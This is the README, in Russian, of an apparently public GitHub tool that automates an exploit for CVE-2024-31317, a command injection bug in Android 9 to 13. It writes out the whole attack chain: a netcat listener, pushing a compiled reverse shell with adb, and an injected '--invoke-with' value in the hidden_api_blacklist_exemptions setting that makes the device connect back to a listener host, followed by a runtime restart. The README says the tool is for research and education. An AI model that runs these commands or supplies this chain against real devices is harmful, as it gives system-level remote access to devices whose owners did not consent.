
Автоматизированный инструмент развертывания для CVE-2024-31317, уязвимости внедрения команд в Android 9-13. Включает полезную нагрузку обратной оболочки, скрипт компиляции и технический анализ для исследований в области безопасности и обучения.
Данный проект предназначен исключительно для исследований в области безопасности и образовательных целей. Использование этого инструмента для несанкционированного тестирования незаконно. Автор не несет ответственности за любое неправомерное использование или ущерб.
CVE-2024-31317 — это критическая уязвимость безопасности, затрагивающая устройства Android от версии 9 до 13. Она позволяет приложениям с разрешением WRITE_SECURE_SETTINGS выполнять код на уровне системы через внедрение команд.
Данный проект предоставляет подробный технический анализ уязвимости, доказательство концепции (PoC) и инструменты автоматического развертывания.
CVE-2024-31317-Deployer/
├── README.md
├── LICENSE
├── VULNERABILITY_ANALYSIS.md
├── reverse_shell.c
├── compile.sh
├── payloads/
├── scripts/
└── docs/
git clone https://github.com/fcy10012/CVE-2024-31317-Deployer.git
cd CVE-2024-31317-Deployer
chmod +x compile.sh
./compile.sh
# Запуск слушателя
nc -lvnp 4444
# Отправка и выполнение
adb push bin/reverse_shell_arm64 /data/local/tmp/reverse_shell
adb shell chmod 755 /data/local/tmp/reverse_shell
# Внедрение payload
adb shell settings put global hidden_api_blacklist_exemptions "L*\n--invoke-with /data/local/tmp/reverse_shell 192.168.1.100 4444"
# Запуск уязвимости
adb shell stop && adb shell start
Данный проект предназначен исключительно для исследований в области безопасности и образовательных целей. Используя данный инструмент, вы соглашаетесь:
Проект распространяется по лицензии MIT. Подробнее см. в файле LICENSE.
fcy10012 — GitHub
Проект-референс: WebLDix/CVE-2024-31317-PoC-Deployer
⭐ Если этот проект оказался для вас полезным, поставьте ему звезду!